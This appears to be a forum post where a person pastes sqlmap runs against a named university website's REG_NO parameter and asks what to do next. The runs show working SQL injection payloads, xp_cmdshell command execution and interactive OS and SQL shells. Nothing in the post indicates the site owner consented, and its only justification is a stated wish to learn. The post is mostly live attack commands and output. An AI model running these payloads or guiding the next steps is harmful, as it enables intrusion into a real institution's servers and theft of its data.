Dear Sir my AIM and purpose is not to harm or damage my aim is only to learn thats it sir. I used all of commands as you gave me
1. --os-shell
2. --os-cmd=PSCMD
3. sqlmap -u TARGET -D DBNAME --sql-shell
I found different results of all .
[*] starting at 02:45:17
[02:45:17] [WARNING] provided value for parameter 'REG_NO' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly
[02:45:17] [INFO] resuming back-end DBMS 'microsoft sql server'
[02:45:17] [INFO] testing connection to the target URL
Q. Why it says REG_NO is empty?? and use valid parameter values.???
=============================================================
Command No.1 and its result is as under:
root@kali:~# sqlmap -u Target -D DB --os-shell
___
__H__
___ ___[,]_____ ___ ___ {1.1.6.4#dev}
|_ -| . [(] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V |_|
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 02:41:27
[02:41:27] [WARNING] provided value for parameter 'REG_NO' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly
[02:41:27] [INFO] resuming back-end DBMS 'microsoft sql server'
[02:41:31] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: REG_NO (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: REG_NO=10-KGT-T0010' AND 6179=6179 AND 'qLTs'='qLTs
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: REG_NO=10-KGT-T0010';WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind (IF - comment)
Payload: REG_NO=10-KGT-T0010' WAITFOR DELAY '0:0:5'--
Type: UNION query
Title: Generic UNION query (NULL) - 8 columns
Payload: REG_NO=-1385' UNION ALL SELECT NULL,NULL,NULL,NULL,CHAR(113)+CHAR(113)+CHAR(113)+CHAR(112)+CHAR(113)+CHAR(122)+CHAR(118)+CHAR(83)+CHAR(108)+CHAR(75)+CHAR(66)+CHAR(118)+CHAR(115)+CHAR(74)+CHAR(118)+CHAR(73)+CHAR(102)+CHAR(87)+CHAR(90)+CHAR(105)+CHAR(89)+CHAR(111)+CHAR(71)+CHAR(116)+CHAR(121)+CHAR(76)+CHAR(113)+CHAR(86)+CHAR(68)+CHAR(81)+CHAR(79)+CHAR(97)+CHAR(68)+CHAR(85)+CHAR(97)+CHAR(113)+CHAR(84)+CHAR(118)+CHAR(76)+CHAR(77)+CHAR(105)+CHAR(70)+CHAR(79)+CHAR(66)+CHAR(102)+CHAR(113)+CHAR(118)+CHAR(106)+CHAR(106)+CHAR(113),NULL,NULL,NULL-- ApLS
---
[02:41:32] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 8 or 2012
web application technology: ASP.NET, ASP, Microsoft IIS 8.0
back-end DBMS: Microsoft SQL Server 2008
[02:41:32] [INFO] testing if current user is DBA
[02:41:33] [INFO] testing if xp_cmdshell extended procedure is usable
[02:41:34] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[02:41:41] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
[02:41:59] [ERROR] unable to retrieve xp_cmdshell output
[02:41:59] [INFO] going to use xp_cmdshell extended procedure for operating system command execution
[02:41:59] [INFO] calling Windows OS shell. To quit type 'x' or 'q' and press ENTER
os-shell>
Now what should i do next when i am in os-shell>
====================================================================
Command No.2 and its result is as under
root@kali:~# sqlmap -u www.aiou.edu.pk/TutorDetail.asp?REG_NO= -D Tutors --os-cmd=OSCMD
___
__H__
___ ___[)]_____ ___ ___ {1.1.6.4#dev}
|_ -| . [(] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V |_|
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 02:53:20
[02:53:21] [WARNING] provided value for parameter 'REG_NO' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly
[02:53:21] [INFO] resuming back-end DBMS 'microsoft sql server'
[02:53:25] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: REG_NO (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: REG_NO=10-KGT-T0010' AND 6179=6179 AND 'qLTs'='qLTs
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: REG_NO=10-KGT-T0010';WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind (IF - comment)
Payload: REG_NO=10-KGT-T0010' WAITFOR DELAY '0:0:5'--
Type: UNION query
Title: Generic UNION query (NULL) - 8 columns
Payload: REG_NO=-1385' UNION ALL SELECT NULL,NULL,NULL,NULL,CHAR(113)+CHAR(113)+CHAR(113)+CHAR(112)+CHAR(113)+CHAR(122)+CHAR(118)+CHAR(83)+CHAR(108)+CHAR(75)+CHAR(66)+CHAR(118)+CHAR(115)+CHAR(74)+CHAR(118)+CHAR(73)+CHAR(102)+CHAR(87)+CHAR(90)+CHAR(105)+CHAR(89)+CHAR(111)+CHAR(71)+CHAR(116)+CHAR(121)+CHAR(76)+CHAR(113)+CHAR(86)+CHAR(68)+CHAR(81)+CHAR(79)+CHAR(97)+CHAR(68)+CHAR(85)+CHAR(97)+CHAR(113)+CHAR(84)+CHAR(118)+CHAR(76)+CHAR(77)+CHAR(105)+CHAR(70)+CHAR(79)+CHAR(66)+CHAR(102)+CHAR(113)+CHAR(118)+CHAR(106)+CHAR(106)+CHAR(113),NULL,NULL,NULL-- ApLS
---
[02:53:25] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 8 or 2012
web application technology: ASP.NET, ASP, Microsoft IIS 8.0
back-end DBMS: Microsoft SQL Server 2008
[02:53:25] [INFO] testing if current user is DBA
[02:53:26] [INFO] testing if xp_cmdshell extended procedure is usable
[02:53:27] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[02:53:33] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
[02:53:51] [ERROR] unable to retrieve xp_cmdshell output
do you want to retrieve the command standard output? [Y/n/a] Y
[02:53:54] [INFO] retrieved:
[02:53:55] [INFO] retrieved:
[02:54:01] [INFO] adjusting time delay to 2 seconds due to good response times
0
No output
[02:54:04] [INFO] cleaning up the database management system
do you want to remove UDF 'master..new_xp_cmdshell'? [Y/n] Y
[02:54:07] [INFO] database management system cleanup finished
[02:54:07] [WARNING] remember that UDF dynamic-link library files saved on the file system can only be deleted manually
[02:54:07] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 1 times
[02:54:07] [INFO] fetched data logged to text files under '/root/.sqlmap/output/www.aiou.edu.pk'
[*] shutting down at 02:54:07
root@kali:~#
=============================================================================
Command No.3 and its result as under.
root@kali:~# sqlmap -u www.aiou.edu.pk/TutorDetail.asp?REG_NO= -D Tutors --sql-shell
___
__H__
___ ___["]_____ ___ ___ {1.1.6.4#dev}
|_ -| . [.] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V |_|
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 02:30:22
[02:30:22] [WARNING] provided value for parameter 'REG_NO' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly
[02:30:22] [INFO] resuming back-end DBMS 'microsoft sql server'
[02:30:40] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: REG_NO (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: REG_NO=10-KGT-T0010' AND 6179=6179 AND 'qLTs'='qLTs
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: REG_NO=10-KGT-T0010';WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind (IF - comment)
Payload: REG_NO=10-KGT-T0010' WAITFOR DELAY '0:0:5'--
Type: UNION query
Title: Generic UNION query (NULL) - 8 columns
Payload: REG_NO=-1385' UNION ALL SELECT NULL,NULL,NULL,NULL,CHAR(113)+CHAR(113)+CHAR(113)+CHAR(112)+CHAR(113)+CHAR(122)+CHAR(118)+CHAR(83)+CHAR(108)+CHAR(75)+CHAR(66)+CHAR(118)+CHAR(115)+CHAR(74)+CHAR(118)+CHAR(73)+CHAR(102)+CHAR(87)+CHAR(90)+CHAR(105)+CHAR(89)+CHAR(111)+CHAR(71)+CHAR(116)+CHAR(121)+CHAR(76)+CHAR(113)+CHAR(86)+CHAR(68)+CHAR(81)+CHAR(79)+CHAR(97)+CHAR(68)+CHAR(85)+CHAR(97)+CHAR(113)+CHAR(84)+CHAR(118)+CHAR(76)+CHAR(77)+CHAR(105)+CHAR(70)+CHAR(79)+CHAR(66)+CHAR(102)+CHAR(113)+CHAR(118)+CHAR(106)+CHAR(106)+CHAR(113),NULL,NULL,NULL-- ApLS
---
[02:30:48] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 8 or 2012
web application technology: ASP.NET, ASP, Microsoft IIS 8.0
back-end DBMS: Microsoft SQL Server 2008
[02:30:48] [INFO] calling Microsoft SQL Server shell. To quit type 'x' or 'q' and press ENTER
sql-shell>
NOW WHAT TO DO NEXT now i am in sql-shell> and os-shell>